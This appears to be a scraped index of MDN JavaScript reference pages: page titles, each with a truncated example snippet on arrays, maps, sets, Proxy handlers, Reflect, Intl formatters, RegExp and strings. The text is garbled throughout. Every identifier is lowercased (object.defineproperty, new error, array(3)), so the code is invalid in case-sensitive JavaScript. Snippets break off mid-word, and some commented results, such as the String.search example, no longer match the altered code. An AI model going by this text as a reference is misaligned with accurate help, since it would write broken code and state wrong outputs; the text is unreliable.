const obja = { method() {} } new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} } new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return this.a } }; console.log(obj.b()) // "foo" computed property names the shorthand syntax also supports computed property names.
arguments.callee - JavaScript
this is useful when the name of the function is unknown, such as within a function expression with no name (also called "anonymous functions").
setter - JavaScript
const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) { this.a = x / 2; } }); o.b = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) { this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that specification.
AggregateError() constructor - JavaScript
examples creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror()' in that spec...
Array.prototype.reduceRight() - JavaScript
y) => add(f6, x, y); const f4 = x => split(f5, x); const f3 = x => sub2(f4, x); const f2 = x => mult3(f3, x); add5(f2, input); } ​​​​​​difference between reduce and reduceright var a = ['1', '2', '3', '4', '5']; var left = a.reduce(function(prev, cur) { return prev + cur; }); var right = a.reduceright(function(prev, cur) { return prev + cur; }); console.log(left); // "12345" console.log(right); // "54321" defining composible function the concept of compose function is simple it combines n functions.
Array.prototype.fill() - JavaScript
ill(4, 3, 3) // [1, 2, 3] [1, 2, 3].fill(4, -3, -2) // [4, 2, 3] [1, 2, 3].fill(4, nan, nan) // [1, 2, 3] [1, 2, 3].fill(4, 3, 5) // [1, 2, 3] array(3).fill(4) // [4, 4, 4] [].fill.call({ length: 3 }, 4) // {0: 4, 1: 4, 2: 4, length: 3} // a single object, referenced by each slot of the array: let arr = array(3).fill({}) // [{}, {}, {}] arr[0].hi = "hi" // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.fill' in that specification.
Array.prototype.flatMap() - JavaScript
let arr1 = ["it's sunny in", "", "california"]; arr1.map(x => x.split(" ")); // [["it's","sunny","in"],[""],["california"]] arr1.flatmap(x => x.split(" ")); // ["it's","sunny","in", "", "california"] notice, the output list length can be different from the input list length.
Array.prototype.forEach() - JavaScript
tion (a, b) { return a + b } ratings.foreach(async function(rating) { sum = await sumfunction(sum, rating) }) console.log(sum) // naively expected output: 14 // actual output: 0 examples no operation for uninitialized values (sparse arrays) const arraysparse = [1,3,,7] let numcallbackruns = 0 arraysparse.foreach((element) => { console.log(element) numcallbackruns++ }) console.log("numcallbackruns: ", numcallbackruns) // 1 // 3 // 7 // numcallbackruns: 3 // comment: as you can see the missing value between 3 and 7 didn't invoke callback function.
Array.prototype.shift() - JavaScript
in the following example every iteration will remove the next element from an array, until it is empty: var names = ["andrew", "edward", "paul", "chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul, chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
Array.prototype.toString() - JavaScript
examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
ArrayBuffer - JavaScript
it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
AsyncFunction - JavaScript
each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
BigInt.prototype.toLocaleString() - JavaScript
var bigint = 3500n; bigint.tolocalestring(); // displays "3,500" if in u.s.
BigInt.prototype.toString() - JavaScript
the trailing "n" is not part of the string.
BigInt64Array - JavaScript
in the case of the bigint64array type, this is "bigint64array".
BigUint64Array - JavaScript
in the case of the biguint64array type this is "biguint64array".
DataView() constructor - JavaScript
(that probably wasn't a very helpful description.) you can think of the returned object as an "interpreter" of the array buffer of bytes — it knows how to convert numbers to fit within the buffer correctly, both when reading and writing to it.
Date() constructor - JavaScript
"1970-01-01") are treated as utc, not local.
Date.prototype.getDay() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var weekday = xmas95.getday(); console.log(weekday); // 1 note: if needed, the full name of a day ("monday" for example) can be obtained by using intl.datetimeformat with an options parameter.
Date.prototype.getMonth() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var month = xmas95.getmonth(); console.log(month); // 11 note: if needed, the full name of a month ("january" for example) can be obtained by using intl.datetimeformat() with an options parameter.
Date.prototype.getUTCMilliseconds() - JavaScript
to get total milliseconds since 1970/01/01, use the method ".gettime()".
Date.prototype.getYear() - JavaScript
because getyear() does not return full years ("year 2000 problem"), it is no longer used and has been replaced by the getfullyear() method.
Date.prototype.setYear() - JavaScript
because setyear() does not set full years ("year 2000 problem"), it is no longer used and has been replaced by the setfullyear() method.
Date.prototype.toDateString() - JavaScript
"thu jan 01 1970".
Date.prototype.toISOString() - JavaScript
the timezone is always zero utc offset, as denoted by the suffix "z".
Error() constructor - JavaScript
const y = new error('i was constructed via the "new" keyword!') specifications specification ecmascript (ecma-262)the definition of 'error constructor' in that specification.
EvalError() constructor - JavaScript
creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that speci...
EvalError - JavaScript
creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'evalerror' in that specification.
FinalizationRegistry.prototype.register() - JavaScript
examples using register the following registers the target object referenced by target, passing in the held value "some value" and passing the target object itself as the unregistration token: registry.register(target, "some value", target); the following registers the target object referenced by target, passing in another object as the held value, and not passing in any unregistration token (which means target can't be unregistered): registry.register(target, {"useful": "info about target"}); specificat...
Float32Array - JavaScript
in the case of the float32array type: "float32array".
Float64Array - JavaScript
in the case of the float64array type: "float64array".
Function.prototype.toSource() - JavaScript
// for example: function hello() { console.log("hello, world!"); } hello.tosource(); // results in: "function hello() { console.log(\"hello, world!\"); }" specifications not part of any standard.
Generator.prototype.return() - JavaScript
function* gen() { yield 1; yield 2; yield 3; } const g = gen(); g.next(); // { value: 1, done: false } g.return('foo'); // { value: "foo", done: true } g.next(); // { value: undefined, done: true } if return(value) is called on a generator that is already in "completed" state, the generator will remain in "completed" state.
Generator.prototype.throw() - JavaScript
function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification.
GeneratorFunction - JavaScript
each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
Int16Array - JavaScript
in the case of the int16array type: "int16array".
Int32Array - JavaScript
in the case of the int32array type: "int32array".
Int8Array - JavaScript
in the case of the int8array type: "int8array".
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); let date3 = new date(date.utc(2007, 0, 20, 10, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' // > 'sat, 20 jan 2007 10:00:00 gmt' let fmt1 = new intl.datetimeformat("en", { year: '2-digit', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric' }); console.log(fmt1.format(date1)); console.log(fmt1.formatrange(date1, date2)); console.log(fmt1.formatrange(date1, date3)); // > '1/10/07, 10:00 am' // > '1/10/07, 10:00 – 11:00 am' // > '1/10/07, 10:00 am – 1/20/07, 10:00 am' let fmt2 = new intl.datetimeformat("en", { year:...
Intl.ListFormat - JavaScript
orcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car using formattoparts the following example shows how to create a list formatter returning formatted parts const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).formattoparts(list)); // [ { "type": "element", "value": "motorcycle" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "bus" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "car" } ]; specifications specification intl.listformatthe definition of 'listformat' in that specification.
Intl.Locale() constructor - JavaScript
for example, set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it into the constructor: let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.toString() - JavaScript
examples using tostring let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale - JavaScript
for example, set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it into the constructor: let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat - JavaScript
umber)); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(new intl.numberformat('ja-jp', { style: 'currency', currency: 'jpy' }).format(number)); // → ¥123,457 // limit to three significant digits console.log(new intl.numberformat('en-in', { maximumsignificantdigits: 3 }).format(number)); // → 1,23,000 using style and unit console.log(new intl.numberformat("pt-pt", { style: 'unit', unit: "mile-per-hour" }).format(50)); // → 50 mi/h console.log((16).tolocalestring('en-gb', { style: "unit", unit: "liter", unitdisplay: "long" })); // → 16 litres specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat' in that specification.
Intl.PluralRules.supportedLocalesOf() - JavaScript
var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.pluralrules.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.supportedlocalesof' in that specification.
Intl.getCanonicalLocales() - JavaScript
examples using getcanonicallocales intl.getcanonicallocales('en-us'); // ["en-us"] intl.getcanonicallocales(['en-us', 'fr']); // ["en-us", "fr"] intl.getcanonicallocales('en_us'); // rangeerror:'en_us' is not a structurally valid language tag specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.getcanonicallocales' in that specification.
Map.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') const mapiter = mymap[symbol.iterator]() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] using [@@iterator]() with for..of const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') for (const entry of mymap) { console.log(entry) } // ["0", "foo"] // [1, "bar"] // [{}, "baz"] for (const [key, value] of mymap) { console.log(`${key}: ${valu...
Map.prototype.delete() - JavaScript
the "bar" element is no longer present.
Map.prototype.entries() - JavaScript
examples using entries() let mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' in that specification.
Map.prototype.forEach() - JavaScript
examples printing the contents of a map object the following code logs a line for each element in an map object: function logmapelements(value, key, map) { console.log(`map.get('${key}') = ${value}`) } new map([['foo', 3], ['bar', {}], ['baz', undefined]]).foreach(logmapelements) // logs: // "map.get('foo') = 3" // "map.get('bar') = [object object]" // "map.get('baz') = undefined" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.foreach' in that specification.
Map.prototype.get() - JavaScript
examples using get() let mymap = new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification.
Map.prototype.has() - JavaScript
examples using has() let mymap = new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification.
Map.prototype.keys() - JavaScript
examples using keys() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification.
Map.prototype.values() - JavaScript
examples using values() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification.
Math.fround() - JavaScript
internally, javascript continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0.
Math.pow() - JavaScript
.5); // 1.4142135623730951 (square root of 2) math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2) // signed exponents math.pow(7, -2); // 0.02040816326530612 (1/49) math.pow(8, -1/3); // 0.5 // signed bases math.pow(-7, 2); // 49 (squares are positive) math.pow(-7, 3); // -343 (cubes can be negative) math.pow(-7, 0.5); // nan (negative numbers don't have a real square root) // due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with fractional exponents always return nan math.pow(-7, 1/3); // nan specifications specification ecmascript (ecma-262)the definition of 'math.pow' in that specification.
Number.MAX_SAFE_INTEGER - JavaScript
polyfill if (!number.max_safe_integer) { number.max_safe_integer = 9007199254740991; // math.pow(2, 53) - 1; } examples return value of max_safe_integer number.max_safe_integer; // 9007199254740991 numbers higher than safe integer this returns 2 because in floating points, the value is actually the decimal trailing "1" except for in subnormal precision cases such as zero.
Number.MIN_VALUE - JavaScript
values smaller than min_value ("underflow values") are converted to 0.
Object.prototype.__lookupGetter__() - JavaScript
'foo' : 'bar'; }) // standard-compliant way object.getownpropertydescriptor(obj, "foo").get; // (function() { return math.random() > 0.5 ?
Object.fromEntries() - JavaScript
examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c" } object transformations with object.fromentries, its reverse method object.entries(), and array manipulation methods, you are able to transform o...
Object.getOwnPropertyDescriptor() - JavaScript
object.getownpropertydescriptor('foo', 0); // typeerror: "foo" is not an object // es5 code object.getownpropertydescriptor('foo', 0); // object returned by es2015 code: { // configurable: false, // enumerable: true, // value: "f", // writable: false // } specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptor' in that specification.
Object.getPrototypeOf() - JavaScript
object.getprototypeof('foo'); // typeerror: "foo" is not an object (es5 code) object.getprototypeof('foo'); // string.prototype (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.getprototypeof' in that specification.
Object.is() - JavaScript
the == operator applies various coercions to both sides (if they are not the same type) before testing for equality (resulting in such behavior as "" == false being true), but object.is doesn't coerce either value.
Object.prototype.isPrototypeOf() - JavaScript
in the expression "object instanceof afunction", the object prototype chain is checked against afunction.prototype, not against afunction itself.
Object.keys() - JavaScript
// in es5 object.keys('foo'); // typeerror: "foo" is not an object // in es2015+ object.keys('foo'); // ["0", "1", "2"] specifications specification ecmascript (ecma-262)the definition of 'object.keys' in that specification.
Promise.allSettled() - JavaScript
examples using promise.allsettled promise.allsettled([ promise.resolve(33), new promise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specifications specification ecmascript (ecma-262)the definition of 'promise.allsettled' in that specification.
Promise.prototype.finally() - JavaScript
examples using finally let isloading = true; fetch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .catch(function(error) { console.error(error); /* this line can also throw, e.g.
handler.apply() - JavaScript
const p = new proxy(function() {}, { apply: function(target, thisarg, argumentslist) { console.log('called: ' + argumentslist.join(', ')); return argumentslist[0] + argumentslist[1] + argumentslist[2]; } }); console.log(p(1, 2, 3)); // "called: 1, 2, 3" // 6 specifications specification ecmascript (ecma-262)the definition of '[[call]]' in that specification.
handler.defineProperty() - JavaScript
const p = new proxy({}, { defineproperty: function(target, prop, descriptor) { console.log('called: ' + prop); return true; } }); const desc = { configurable: true, enumerable: true, value: 10 }; object.defineproperty(p, 'a', desc); // "called: a" when calling object.defineproperty() or reflect.defineproperty(), the descriptor passed to defineproperty() trap has one restriction—only following properties are usable (non-standard properties will be ignored): enumerable configurable writable value get set const p = new proxy({}, { defineproperty(target, prop, descriptor) { console.log(descriptor); return refl...
handler.deleteProperty() - JavaScript
const p = new proxy({}, { deleteproperty: function(target, prop) { if (prop in target){ delete target[prop] console.log('property removed: ' + prop) return true } else { console.log('property not found: ' + prop) return false } } }) let result p.a = 10 console.log('a' in p) // true result = delete p.a // "property removed: a" console.log(result) // true console.log('a' in p) // false result = delete p.a // "property not found: a" console.log(result) // false specifications specification ecmascript (ecma-262)the definition of '[[delete]]' in that specification.
handler.get() - JavaScript
const p = new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code violates an invariant.
handler.getOwnPropertyDescriptor() - JavaScript
const p = new proxy({ a: 20}, { getownpropertydescriptor: function(target, prop) { console.log('called: ' + prop); return { configurable: true, enumerable: true, value: 10 }; } }); console.log(object.getownpropertydescriptor(p, 'a').value); // "called: a" // 10 the following code violates an invariant.
handler.getPrototypeOf() - JavaScript
t.getprototypeof(p) === array.prototype, // true p.__proto__ === array.prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); two kinds of exceptions const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
handler.has() - JavaScript
const p = new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code violates an invariant.
handler.isExtensible() - JavaScript
const p = new proxy({}, { isextensible: function(target) { console.log('called'); return true; } }); console.log(object.isextensible(p)); // "called" // true the following code violates the invariant.
handler.ownKeys() - JavaScript
const p = new proxy({}, { ownkeys: function(target) { console.log('called'); return ['a', 'b', 'c']; } }); console.log(object.getownpropertynames(p)); // "called" // [ 'a', 'b', 'c' ] the following code violates an invariant.
handler.preventExtensions() - JavaScript
const p = new proxy({}, { preventextensions: function(target) { console.log('called'); object.preventextensions(target); return true; } }); console.log(object.preventextensions(p)); // "called" // false the following code violates the invariant.
handler.setPrototypeOf() - JavaScript
const handlerthrows = { setprototypeof(target, newproto) { throw new error('custom error'); } }; const newproto = {}, target = {}; const p2 = new proxy(target, handlerthrows); object.setprototypeof(p2, newproto); // throws new error("custom error") reflect.setprototypeof(p2, newproto); // throws new error("custom error") specifications specification ecmascript (ecma-262)the definition of '[[setprototypeof]]' in that specification.
Proxy() constructor - JavaScript
const target = { notproxied: "original value", proxied: "original value" }; const handler = { get: function(target, prop, receiver) { if (prop === "proxied") { return "replaced value"; } return reflect.get(...arguments); } }; const proxy = new proxy(target, handler); console.log(proxy.notproxied); // "original value" console.log(proxy.proxied); // "replaced value" specifications specifi...
Proxy.revocable() - JavaScript
examples using proxy.revocable var revocable = proxy.revocable({}, { get: function(target, name) { return "[[" + name + "]]"; } }); var proxy = revocable.proxy; console.log(proxy.foo); // "[[foo]]" revocable.revoke(); console.log(proxy.foo); // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo; // still typeerror typeof proxy // "object", typeof doesn't trigger any trap specifications specification ecmascript (ecma-262)the defi...
Reflect.apply() - JavaScript
examples using reflect.apply() reflect.apply(math.floor, undefined, [1.75]); // 1; reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" specifications specification ecmascript (ecma-262)the definition of 'reflect.apply' in that specification.
Reflect.get() - JavaScript
examples using reflect.get() // object let obj = { x: 1, y: 2 } reflect.get(obj, 'x') // 1 // array reflect.get(['zero', 'one'], 1) // "one" // proxy with a get handler let x = {p: 1}; let obj = new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj = new proxy(x, { get(t, prop, receiver) { return receiver[prop] + 'bar' } }) reflect.get(obj, 'foo', y) // "3bar" specifications ...
Reflect.ownKeys() - JavaScript
examples using reflect.ownkeys() reflect.ownkeys({z: 3, y: 2, x: 1}) // [ "z", "y", "x" ] reflect.ownkeys([]) // ["length"] let sym = symbol.for('comet') let sym2 = symbol.for('meteor') let obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0, [sym2]: 0, '-1': 0, '8': 0, 'second str': 0} reflect.ownkeys(obj) // [ "0", "8", "773", "str", "-1", "second str", symbol(comet), symbol(meteor) ] // indexes in numeric order, // strings in insertion order, // s...
Reflect - JavaScript
my name is ${this.name}`); } } reflect.has(duck, 'color'); // true reflect.has(duck, 'haircut'); // false returning the object's own keys reflect.ownkeys(duck); // [ "name", "color", "greeting" ] adding a new property to the object reflect.set(duck, 'eyes', 'black'); // returns "true" if successful // "duck" now contains the property "eyes: 'black'" specifications specification ecmascript (ecma-262)the definition of 'reflect' in that specification.
RegExp.prototype[@@match]() - JavaScript
let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.match](str); console.log(result); // ["2016", "01", "02"] using @@match in subclasses subclasses of regexp can override the [@@match]() method to modify the default behavior.
RegExp() constructor - JavaScript
s ("dotall") allows .
RegExp.input ($_) - JavaScript
examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
RegExp.leftContext ($`) - JavaScript
examples using leftcontext and $` var re = /world/g; re.test('hello world!'); regexp.leftcontext; // "hello " regexp['$`']; // "hello " specifications specification legacy regexp features in javascript ...
RegExp.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+c/' var foo = new regexp('bar', 'g'); console.log(foo.tostring()); // logs '/bar/g' empty regular expressions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such as "\n" are escaped: new regexp().tostring(); // "/(?:)/" new regexp('\n').tostring() === '/\n/'; // true, prior to es5 new regexp('\n').tostring() === '/\\n/'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.tostring' in that specification.
Set.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); const setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console.log(v); } specifications specification ecmascript (ecma-262)the definition of 'set.prototype[@@iterator]' in that specification.
Set.prototype.add() - JavaScript
examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.entries() - JavaScript
examples using entries() var myset = new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in that specification.
Set.prototype.forEach() - JavaScript
examples logging the contents of a set object the following code logs a line for each element in a set object: function logsetelements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); } new set(['foo', 'bar', undefined]).foreach(logsetelements); // logs: // "s[foo] = foo" // "s[bar] = bar" // "s[undefined] = undefined" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.foreach' in that specification.
Set.prototype.values() - JavaScript
examples using values() var myset = new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification.
String.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() var str = 'a\ud835\udc68'; var striter = str[symbol.iterator](); console.log(striter.next().value); // "a" console.log(striter.next().value); // "\ud835\udc68" using [@@iterator]() with for..of var str = 'a\ud835\udc68b\ud835\udc69c\ud835\udc6a'; for (var v of str) { console.log(v); } // "a" // "\ud835\udc68" // "b" // "\ud835\udc69" // "c" // "\ud835\udc6a" specifications specification ecmascript (ecma-262)the definition of 'string.prototype[@@iterator]()' in that specifi...
String.prototype.big() - JavaScript
description the big() method embeds a string in a <big> tag: "<big>str</big>".
String.prototype.blink() - JavaScript
description the blink() method embeds a string in a <blink> tag: "<blink>str</blink>".
String.prototype.bold() - JavaScript
description the bold() method embeds a string in a <b> tag: "<b>str</b>".
String.prototype.concat() - JavaScript
let greetlist = ['hello', ' ', 'venkat', '!'] "".concat(...greetlist) // "hello venkat!" "".concat({}) // [object object] "".concat([]) // "" "".concat(null) // "null" "".concat(true) // "true" "".concat(4, 5) // "45" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.concat' in that specification.
String.prototype.italics() - JavaScript
description the italics() method embeds a string in an <i> tag: "<i>str</i>".
String.prototype.search() - JavaScript
an unsuccessful search (-1) let str = "hey jude" let re = /[a-z]/g let redot = /[.]/g console.log(str.search(re)) // returns 4, which is the index of the first capital letter "j" console.log(str.search(redot)) // returns -1 cannot find '.' dot punctuation specifications specification ecmascript (ecma-262)the definition of 'string.prototype.search' in that specification.
String.prototype.strike() - JavaScript
description the strike() method embeds a string in a <strike> tag: "<strike>str</strike>".
String.prototype.sub() - JavaScript
description the sub() method embeds a string in a <sub> tag: "<sub>str</sub>".
String.prototype.trimEnd() - JavaScript
in some engines this means: string.prototype.trimright.name === "trimend"; examples using trimend() the following example displays the lowercase string ' foo': var str = ' foo '; console.log(str.length); // 8 str = str.trimend(); console.log(str.length); // 6 console.log(str); // ' foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trimend' in that specification.
String.prototype.trimStart() - JavaScript
in some engines this means: string.prototype.trimleft.name === "trimstart"; polyfill //https://github.com/fabiovergani/js-polyfill_string-trimstart (function(w){ var string=w.string, proto=string.prototype; (function(o,p){ if(p in o?o[p]?false:true:true){ var r=/^\s+/; o[p]=o.trimleft||function(){ return this.replace(r,'') } } })(proto,'trimstart'); })(window); /* es6: (w=>...
Symbol.prototype[@@toPrimitive] - JavaScript
examples using @@toprimitive const sym = symbol("example"); sym === sym[symbol.toprimitive](); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.@@toprimitive' in that specification.
Symbol.asyncIterator - JavaScript
const myasynciterable = { async* [symbol.asynciterator]() { yield "hello"; yield "async"; yield "iteration!"; } }; (async () => { for await (const x of myasynciterable) { console.log(x); // expected output: // "hello" // "async" // "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list �...
Symbol.for() - JavaScript
examples using symbol.for symbol.for('foo'); // create a new global symbol symbol.for('foo'); // retrieve the already created symbol // same global symbol, but not locally symbol.for('bar') === symbol.for('bar'); // true symbol('bar') === symbol('bar'); // false // the key is also used as the description var sym = symbol.for('mario'); sym.tostring(); // "symbol(mario)" to avoid name clashes with your global symbol keys and other (library code) global symbols, it might be a good idea to prefix your symbols: symbol.for('mdn.foo'); symbol.for('mdn.bar'); specifications specification ecmascript (ecma-262)the definition of 'symbol.for' in that specification.
Symbol.isConcatSpreadable - JavaScript
